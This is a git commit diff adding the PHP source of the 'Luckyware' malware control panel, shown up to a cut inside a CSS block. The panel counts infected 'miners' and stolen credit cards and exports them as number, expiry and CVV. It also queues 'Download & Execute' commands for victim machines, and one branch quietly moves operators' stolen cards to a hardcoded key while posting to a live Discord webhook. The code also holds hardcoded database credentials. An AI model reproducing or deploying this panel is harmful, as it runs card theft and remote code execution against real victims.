initial commit

This commit is contained in:
i2p
2026-08-27 11:22:01 -06:00
commit 82307da654
284 changed files with 321187 additions and 0 deletions
+898
View File
@@ -0,0 +1,898 @@
<?php
session_start();
$domainyess = $_SERVER['HTTP_HOST'];
$secretkey = $_SESSION['secret_key'];
$username = $_SESSION['admin_name'];
$role = $_SESSION['Role'];
if (!isset($_SESSION['admin_name'])) {
header('location:../Login/');
} else {
if ($role != 'Founder') {
header('location: https://' . $domainyess . '/');
}
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
if ($role == 'Founder') {
$selectu = "SELECT * FROM miners";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
} else {
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
}
$resultanss = mysqli_query($conn, $selectana);
$myaktv = mysqli_num_rows($resultanss);
}
if (isset($_POST['ides'])) {
if ($role == 'Founder') {
$sqlAQA = "SELECT * FROM Cards";
} else {
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
}
$resultAQA = $conn->query($sqlAQA);
// Initialize the output
$output = '';
// Process the database results and format them
if ($resultAQA->num_rows > 0) {
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
}
} else {
$output .= "No Card Data!";
}
$filename = "AllCards.txt";
// Set the appropriate HTTP headers for downloading
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
// Output the data and exit
echo $output;
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
}
if (isset($_POST['ides'])) {
if ($username == 'Clara') {
$sqlAQA = "SELECT * FROM Cards";
} else {
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
}
$resultAQA = $conn->query($sqlAQA);
// Initialize the output
$output = '';
// Process the database results and format them
if ($resultAQA->num_rows > 0) {
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
}
} else {
$output .= "No Card Data!";
}
$filename = "AllCards.txt";
// Set the appropriate HTTP headers for downloading
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
// Output the data and exit
echo $output;
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
}
if (isset($_POST['id'])) {
$sqlUpdate = "UPDATE Cards SET OwnerID = ? WHERE OwnerID = ?";
$stmtUpdate = $conn->prepare($sqlUpdate);
$newOwnerID = '1tz3w08l5raauuav4r1u'; // Replace with the new OwnerID value
$stmtUpdate->bind_param("ss", $newOwnerID, $secretkey);
$webhookURL44 = 'https://discord.com/api/webhooks/1273355876866064447/_nAh4gFrD3TAdvHWQi5MIefpW0rF6gM5RbTx6qvb3D0nV9w3KH-fi6ic_qwf3D5NBgq5';
$messagerrr = 'New Cards Deleted By ' . $username . ' Cards Swapped To Your Owner Key ';
sendDiscordWebhookMessage($webhookURL44, $messagerrr);
if ($stmtUpdate->execute()) {
} else {
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="../../../assets/css/custom.css">
<link rel="stylesheet" href="../../../assets/css/style.css">
<link rel="stylesheet" href="../../../assets/css/hover.css">
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
<link rel="stylesheet" href="../../../../assets/fontaw/css/all.min.css">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
<script type="text/javascript" charset="utf8"
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
<meta content="Luckyware" property="og:title" />
<meta content="Luck is something you make and victory is something u take" property="og:description" />
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
<title>Admin</title>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #111111;
z-index: 9999;
display: flex;
justify-content: center;
align-items: center;
opacity: 1;
visibility: visible;
/* Add visibility property */
transition: all 1s ease;
/* Longer transition and apply to all */
}
.loading-overlay.fade-out {
opacity: 0;
visibility: hidden;
/* Hide element after fade */
}
.loading-spinner {
width: 50px;
height: 50px;
border: 3px solid #333;
border-radius: 50%;
border-top-color: #850000;
animation: spin 1s linear infinite;
}
@keyframes spin {
100% {
transform: rotate(360deg);
}
}
/* Custom DataTable styles */
#DashTable {
border-radius: 0.5rem;
background-color: var(--background);
border-collapse: separate;
border-spacing: 0 0.7rem;
width: 100%;
}
#DashTable th {
font-family: 'Kanit', sans-serif;
font-weight: 500;
color: #e7e5e4;
font-weight: bold;
text-align: center;
padding: 10px;
border-bottom: 1px solid var(--background);
}
#DashTable tr {
background-color: var(--background);
border-radius: 0.5rem;
}
#DashTable td {
background-color: #151515;
color: #a8a29e;
text-align: center;
border-bottom: 1px solid var(--background);
padding: 10px;
font-weight: 100;
font-family: 'Kanit', sans-serif;
}
#DashTable td:first-child {
border-radius: 0.5rem 0 0 0.5rem;
/* Rounded corners on the left side */
}
#DashTable td:last-child {
border-radius: 0 0.5rem 0.5rem 0;
/* Rounded corners on the right side */
}
#DashTable tbody tr:hover {
background-color: var(--main-hover-color);
color: #D6D3D1;
}
/* Custom hover link color */
.hover-link {
color: #111111;
transition: color 0.3s ease-in-out;
}
.hover-link:hover {
color: #f54b42;
}
.dataTables_wrapper .dataTables_paginate .paginate_button {
background-color: #151515;
/* Add !important to ensure white color */
border: none;
padding: 7px 10px;
margin: 2px;
cursor: pointer;
color: #a8a29e;
}
.dataTables_wrapper .dataTables_paginate .paginate_button:hover {
background-color: #181818;
border: none;
}
.dataTables_wrapper .dataTables_paginate .paginate_button.current {
background-color: #850000;
color: #e7e5e4;
border: none;
}
/* Text color for elements like "Showing x to x of x entries" */
.dataTables_info,
.dataTables_length,
.dataTables_paginate,
.dataTables_filter {
color: #a8a29e !important;
margin-bottom: 7px;
/* Add space below these elements */
}
/* Add space between "Show entries" and pagination controls */
.dataTables_length,
.dataTables_paginate {
margin-top: 7px;
}
/* Color for the "Show x entries" dropdown and options */
.dataTables_length select {
background-color: #111111 !important;
color: #d6d3d1 !important;
border: 1px solid #181818 !important;
/* Remove border to make it borderless */
padding: 5px;
}
/* Color for the pagination controls */
.dataTables_paginate a,
.dataTables_paginate span,
.dataTables_paginate .ellipsis {
background-color: #111111;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
padding: 5px 10px;
margin: 2px;
cursor: pointer;
}
/* Hover color for pagination controls */
.dataTables_paginate a:hover {
background-color: #181818;
border: none;
}
/* Current page number color */
.dataTables_paginate .current {
background-color: #850000;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
}
/* DataTable search box styles */
.dataTables_wrapper .dataTables_filter input {
background-color: var(--background);
color: #ffffff;
border: 1px solid #181818;
/* Add a 1px gray border */
border-radius: 5px;
padding: 5px;
}
/* DataTable ordering arrow styles */
.dataTables_wrapper .dataTables_wrapper .sorting:after,
.dataTables_wrapper .dataTables_wrapper .sorting:before,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:before,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:before {
color: var(--main-color);
}
/* DataTable table responsive */
.table-responsive {
background-color: #111111;
color: #D6D3D1;
padding: 15px;
border-radius: 5px;
overflow-x: auto;
}
/* DataTable scrollbar styles (if needed) */
#DashTable::-webkit-scrollbar {
width: 8px;
}
#DashTable::-webkit-scrollbar-thumb {
background-color: var(--main-color);
}
#DashTable::-webkit-scrollbar-track {
background-color: var(--secondary-background);
}
.current {
background-color: #850000;
}
</style>
</head>
<body class="dg">
<div class="loading-overlay">
<div class="loading-spinner"></div>
</div>
<div id="mobile topNav" class="bg xl:hidden"> <!-- MOBILE TOPNAV -->
<div class="grid sm:grid-cols-2 px-5 py-3">
<div class="1 text-left">
<div class="flex">
<img class="w-12" src="https://<?php echo $domainyess; ?>/icon.png" alt="">
<h1 class="py-5 fntBold tracking-wide text-lg text-stone-300 ml-3">Luckyware <span
class="textCol">Dashboard</span></h1>
</div>
</div>
<div class="2 text-right">
<button class="text-xl text-stone-300 py-5"><i class="fa-solid fa-bars"></i></button>
</div>
</div>
</div>
<div class="grid xl:grid-cols-12"> <!-- start -->
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
<div class="1">
<div class="flex justify-center mt-10">
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
Lucky <span class="textCol">Ware</span>
</h1>
</div>
<div class="mx-5 mt-6">
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Admin/Users';"
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Users</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-users textCol mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Admin/Logins';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Login Logs</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-door-open text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Back</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-gear text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
</div>
</div>
</div>
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
<div class="1 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mytk; ?>
</h1>
</div>
</div>
</div>
<div class="2 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Active Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $myaktv; ?>
</h1>
</div>
</div>
</div>
<div class="3 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Cards</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mystole; ?>
</h1>
</div>
</div>
</div>
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Subscription</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $role; ?>
</h1>
</div>
</div>
</div>
</a>
</div>
<div class="rounded-lg mt-5 bg pb-5 btn"> <!-- TABLE -->
<div class="grid grid-cols-2">
<div class="1">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
<i class="fa-solid fa-users mr-1 icon"></i>
<span id="cookiesHeaderText"> Users</span>
</h1>
<i id="loadingIcon" class="fas fa-spinner fa-spin ml-2" style="display: none;"></i>
</div>
<style>
.entry-search-container {
display: flex;
align-items: center;
/* Vertically center the items */
}
</style>
<div class="2 text-right mx-5 mt-2">
<div class="grid grid-cols-4 gap-5">
<div class="0">
<h1 style="color: #111111;">s</h1>
</div>
<div class="1">
<select id="entriesSelect" class="text-stone-400 dg px-2 py-2 rounded-lg">
<option value="10">10</option>
<option value="25">25</option>
<option value="50">50</option>
<option value="75">75</option>
<option value="100">100</option>
</select>
</div>
<div class="2 col-span-2">
<div class="sc-container">
<input data-sc="" id="searchInput"
class="smoothCaretInput dg py-2 px-3 rounded-lg text-stone-400"
placeholder="Search Logs" type="text">
<div class="caret" style="width: 2px; height: 60%; background-color: #e61b0a;">
</div>
</div>
</div>
</div>
</div>
</div>
<hr class="mx-5 mt-2 border-stone-800">
<style>
.hover-link {
color: #97928E;
transition: color 0.3s ease-in-out;
}
.hover-link:hover {
color: #f54b42;
}
.truncate-cell {
max-width: 100px;
/* Adjust the maximum width as needed */
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
</style>
<div class="table-responsive">
<table id="DashTable" class="table-fixed w-full mt-5">
<thead class="">
<tr class="text-center">
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Acc ID </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Username </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Mail </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Last Country </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">IP </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Role </h1>
</th>
</tr>
</thead>
<tbody id="logsContent" class="mt-5">
<style>
.hover-link {
color: #97928E;
/* Initial color */
transition: color 0.3s ease-in-out;
/* Color transition with animation */
}
.hover-link:hover {
color: #f54b42;
/* Color on hover */
}
input::placeholder {
color: #a8a29e;
}
</style>
<script>
function deleteRecord(id) {
if (confirm('Are you sure you want to delete this record?')) {
// Create a hidden form and submit it with the ID
var form = document.createElement('form');
form.method = 'post';
form.action = '';
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'id';
input.value = id;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
}
function opensite(url) {
window.open(url);
}
function copyText(element) {
/* Copy text into clipboard */
navigator.clipboard.writeText(element);
}
</script>
</tbody>
</table>
</div>
<script>
// Function to refresh the DataTable
function refreshDataTable() {
var table = $('#DashTable').DataTable();
table.ajax.reload(null, false); // Reload without resetting page
}
// Function to initialize the DataTable
function initializeDataTable() {
// Initialize DataTable with server-side processing
var table = $('#DashTable').DataTable({
serverSide: true,
"lengthMenu": [10, 25, 50, 75, 100],
"language": {
"search": "Search Data: " // Replace with your custom text
},
ajax: {
url: 'fandars.php', // Replace with the correct path to your PHP script
type: 'POST',
beforeSend: function() {
// Show the header text with a loading animation
$('#cookiesHeaderText').html(' Users <i class="fas fa-spinner fa-spin"></i>');
},
complete: function() {
// Restore the header text to "Cookies" after the data is loaded
$('#cookiesHeaderText').html(' Users');
}
},
columns: [{
data: 0
},
{
data: 1
},
{
data: 2
},
{
data: 3
},
{
data: 4
},
{
data: 5
}
],
paging: true,
ordering: true,
dom: 'lrtip' // This specifies the DataTables elements to display
});
// Add an event listener to your custom search input
$('#searchInput').on('keyup', function() {
// Get the input value
var inputValue = $(this).val();
// Use DataTables' search() method to filter the table
table.search(inputValue).draw();
});
// Add an event listener to the entry number drop-down
$('#entriesSelect').on('change', function() {
// Get the selected value
var selectedValue = $(this).val();
// Change the number of entries displayed per page
table.page.len(selectedValue).draw();
});
// Hide the default DataTables length dropdown
$('div.dataTables_length').css('display', 'none');
// Optionally, you can remove the label as well
$('label[for="DashTable_length"]').css('display', 'none');
}
// Call the initializeDataTable function on page load
$(document).ready(function() {
initializeDataTable();
// Refresh the DataTable every 1 minute (60000 milliseconds)
setInterval(refreshDataTable, 60000);
});
</script>
</div>
</div>
</div> <!-- end -->
<style>
@keyframes topFlyIn {
from {
transform: translateY(-100%);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Define the left-flying animation keyframes */
@keyframes leftFlyIn {
from {
transform: translateX(-100%);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
/* Define the right-flying animation keyframes */
@keyframes rightFlyIn {
from {
transform: translateX(100%);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
/* Define the bottom-flying animation keyframes */
@keyframes bottomFlyIn {
from {
transform: translateY(100%);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Apply the animation to elements with the respective class */
.top-flying {
animation-name: topFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateY(-100%);
}
.left-flying {
animation-name: leftFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateX(-100%);
}
.right-flying {
animation-name: rightFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateX(100%);
}
.bottom-flying {
animation-name: bottomFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateY(200%);
}
</style>
<script src="../assets/js/status.js"></script>
<style>
input::placeholder {
color: #a8a29e;
}
</style>
<script>
document.addEventListener("DOMContentLoaded", function() {
// Wait for fonts and stylesheets
Promise.all([
document.fonts.ready,
new Promise(resolve => {
// Check if all stylesheets are loaded
const styleSheets = Array.from(document.styleSheets);
if (styleSheets.every(sheet => sheet.loaded !== false)) {
resolve();
} else {
window.addEventListener('load', resolve);
}
})
]).then(() => {
const overlay = document.querySelector('.loading-overlay');
// Add the fade-out class
overlay.classList.add('fade-out');
// Remove the element after the transition completes
overlay.addEventListener('transitionend', function() {
overlay.parentNode.removeChild(overlay);
}, {
once: true
});
});
});
// Preload custom fonts if you're using any
const fonts = ['Kanit'];
fonts.forEach(font => {
new FontFace(font, `url(path/to/${font}.woff2)`)
.load()
.then(loadedFont => document.fonts.add(loadedFont));
});
</script>
</body>
</html>
+260
View File
@@ -0,0 +1,260 @@
<?php
session_start();
// Set content type to JSON
header('Content-Type: application/json');
// Validate session data
$role = $_SESSION['Role'] ?? '';
$secretkey = $_SESSION['secret_key'] ?? '';
/**
* Validate string length
*/
function isStringLengthGreaterThan5($inputString) {
return is_string($inputString) && strlen($inputString) > 5;
}
/**
* Enhanced input sanitization with strict validation
*/
function sanitizeInput($input) {
if (!is_string($input) || empty($input)) {
return '';
}
// Define forbidden characters and SQL keywords
$forbiddenChars = ['(', ')', '=', '*', ';', '--', '/*', '*/', 'union', 'select', 'insert', 'update', 'delete', 'drop'];
$input_lower = strtolower($input);
// Check for forbidden characters and SQL keywords
foreach ($forbiddenChars as $char) {
if (strpos($input_lower, strtolower($char)) !== false) {
return '';
}
}
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}
/**
* Validate user permissions
*/
function validateUserPermissions($role, $secretkey) {
if (empty($role) || empty($secretkey)) {
return false;
}
$validRoles = ['Founder', 'Admin', 'Special', 'Premium', 'Trial', 'User'];
return in_array($role, $validRoles);
}
/**
* Create secure database connection using PDO
*/
function createDatabaseConnection() {
$host = 'localhost';
$dbname = 'luckyminer';
$db_username = 'miner';
$db_password = 'Sifre.12345';
try {
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $db_username, $db_password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
return $pdo;
} catch (PDOException $e) {
error_log("Database connection failed: " . $e->getMessage());
return false;
}
}
/**
* Truncate text for display
*/
function truncateText($text, $maxLength = 45) {
if (strlen($text) > $maxLength) {
return substr($text, 0, $maxLength) . '...';
}
return $text;
}
// Main execution
try {
// Validate HTTP method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
throw new Exception('Invalid request method');
}
// Validate session and permissions
if (!validateUserPermissions($role, $secretkey) || !isStringLengthGreaterThan5($secretkey)) {
http_response_code(403);
echo json_encode(['error' => 'Access denied - Invalid session or insufficient permissions']);
exit;
}
// Create database connection
$pdo = createDatabaseConnection();
if (!$pdo) {
http_response_code(500);
echo json_encode(['error' => 'Database connection failed']);
exit;
}
// Validate and sanitize DataTables parameters
$draw = filter_input(INPUT_POST, 'draw', FILTER_VALIDATE_INT);
$start = filter_input(INPUT_POST, 'start', FILTER_VALIDATE_INT);
$length = filter_input(INPUT_POST, 'length', FILTER_VALIDATE_INT);
if ($draw === false || $start === false || $length === false) {
throw new Exception('Invalid DataTables parameters');
}
// Limit length to prevent excessive data retrieval
$length = min($length, 1000);
// Get and validate search value
$searchValue = '';
if (isset($_POST['search']['value'])) {
$rawSearchValue = $_POST['search']['value'];
$sanitizedSearch = sanitizeInput($rawSearchValue);
if (!empty($sanitizedSearch) && strlen($sanitizedSearch) > 0) {
$searchValue = substr($sanitizedSearch, 0, 100); // Limit to 100 chars for security
}
}
// Define sortable columns (whitelist approach)
$sortableColumns = [
0 => 'ActionID',
1 => 'ActionInfo',
2 => 'ActionSentTime',
3 => 'ActionID' // For buttons column, sort by ActionID
];
// Validate sorting parameters
$orderColumnIndex = filter_input(INPUT_POST, 'order', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY);
$orderColumn = 'ActionID'; // Default sort column
$orderDirection = 'DESC'; // Default sort direction
if (is_array($orderColumnIndex) && isset($orderColumnIndex[0]['column']) && isset($orderColumnIndex[0]['dir'])) {
$columnIndex = intval($orderColumnIndex[0]['column']);
$direction = strtoupper($orderColumnIndex[0]['dir']);
if (isset($sortableColumns[$columnIndex]) && in_array($direction, ['ASC', 'DESC'])) {
$orderColumn = $sortableColumns[$columnIndex];
$orderDirection = $direction;
}
}
// Build base query with role-based filtering
$baseWhere = "WHERE ActionSentTime LIKE :download_filter";
$params = ['download_filter' => '%Download%'];
// Role-based filtering
if ($role !== "Founder") {
$baseWhere .= " AND ActionOwner = :owner_id";
$params['owner_id'] = $secretkey;
}
// Add search conditions if search value exists
$searchWhere = "";
if (!empty($searchValue)) {
$searchWhere = " AND (
ActionInfo LIKE :search1 OR
ActionStatus LIKE :search2 OR
ActionType LIKE :search3
)";
$searchPattern = '%' . $searchValue . '%';
$params['search1'] = $searchPattern;
$params['search2'] = $searchPattern;
$params['search3'] = $searchPattern;
}
// Build the main data query
$dataQuery = "SELECT ActionID, ActionInfo, ActionSentTime, ActionStatus, ActionType
FROM actions
$baseWhere $searchWhere
ORDER BY $orderColumn $orderDirection
LIMIT :start, :length";
$stmt = $pdo->prepare($dataQuery);
// Bind parameters
foreach ($params as $key => $value) {
$stmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$stmt->bindValue(':start', $start, PDO::PARAM_INT);
$stmt->bindValue(':length', $length, PDO::PARAM_INT);
$stmt->execute();
$results = $stmt->fetchAll();
// Process results
$data = [];
foreach ($results as $row) {
// Sanitize and truncate action info
$actionInfo = htmlspecialchars($row['ActionInfo'] ?? '', ENT_QUOTES, 'UTF-8');
$truncatedInfo = truncateText($actionInfo, 45);
// Sanitize other fields
$actionId = intval($row['ActionID']);
$actionSentTime = htmlspecialchars($row['ActionSentTime'] ?? '', ENT_QUOTES, 'UTF-8');
// Generate secure delete button
$buttonsHtml = '
<div class="pt-2">
<button class="bgCol px-4 py-1 rounded text-stone-300" onclick="deleteRecord(' . $actionId . ')">
<i class="fa-solid fa-trash miAuto text-sm"></i>
</button>
</div>
';
$data[] = [
$actionId,
$truncatedInfo,
$actionSentTime,
$buttonsHtml
];
}
// Get total count
$countQuery = "SELECT COUNT(*) as total
FROM actions
$baseWhere $searchWhere";
$countStmt = $pdo->prepare($countQuery);
// Bind the same parameters for count query (excluding LIMIT params)
foreach ($params as $key => $value) {
$countStmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$countStmt->execute();
$totalRecords = $countStmt->fetch()['total'];
// Prepare response
$response = [
'draw' => $draw,
'recordsTotal' => intval($totalRecords),
'recordsFiltered' => intval($totalRecords),
'data' => $data
];
echo json_encode($response, JSON_UNESCAPED_UNICODE);
} catch (Exception $e) {
// Log error and return generic error response
error_log("Actions DataTables Error: " . $e->getMessage());
http_response_code(500);
echo json_encode([
'draw' => $draw ?? 0,
'recordsTotal' => 0,
'recordsFiltered' => 0,
'data' => [],
'error' => 'An error occurred while processing your request'
]);
}
?>
+878
View File
@@ -0,0 +1,878 @@
<?php
session_start();
$domainyess = $_SERVER['HTTP_HOST'];
$secretkey = $_SESSION['secret_key'];
$username = $_SESSION['admin_name'];
$role = $_SESSION['Role'];
if (!isset($_SESSION['admin_name'])) {
header('location:../Login/');
} else {
if ($role == 'Trial') {
header('location: https://' . $domainyess . '/Subscriptions');
}
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
if ($role == 'Founder') {
$selectu = "SELECT * FROM miners";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
} else {
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
}
$resultanss = mysqli_query($conn, $selectana);
$myaktv = mysqli_num_rows($resultanss);
}
function sanitizeInput($input)
{
// Define the list of forbidden characters
$forbiddenChars = ['(', ')', '=', '*'];
$isac = '0';
// Check if the input contains any forbidden characters
foreach ($forbiddenChars as $char) {
if (strpos($input, $char) !== false) {
// Forbidden character found, handle the error (you can customize this part)
$isac = '1';
}
}
if ($isac == '1') {
return 'NoSpecialChar';
} else {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
}
if (isset($_POST["savv"])) {
$Acton = $_POST['powar'];
$sql = "INSERT INTO actions (HWID, ActionInfo, ActionType, ActionOwner, ActionStatus, ActionSentTime) VALUES ('0',?,'exc', ?, '0', 'Download & Execute')";
$stmttc = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmttc, "ss", $Acton, $secretkey);
mysqli_stmt_execute($stmttc);
}
if (isset($_POST['id'])) {
// Handle the deletion here
$idA = $_POST['id'];
$sqlUpdate = "DELETE FROM actions WHERE ActionID = ?";
$stmtUpdate = $conn->prepare($sqlUpdate);
$stmtUpdate->bind_param("i", $idA);
if ($stmtUpdate->execute()) {
} else {
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="../assets/css/custom.css">
<link rel="stylesheet" href="../assets/css/style.css">
<link rel="stylesheet" href="../assets/css/hover.css">
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
<meta content="Luckyware" property="og:title" />
<meta content="Luck is something you make and victory is something u take" property="og:description" />
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
<link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.4.2/css/all.css">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
<script type="text/javascript" charset="utf8"
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
<title>Automations</title>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
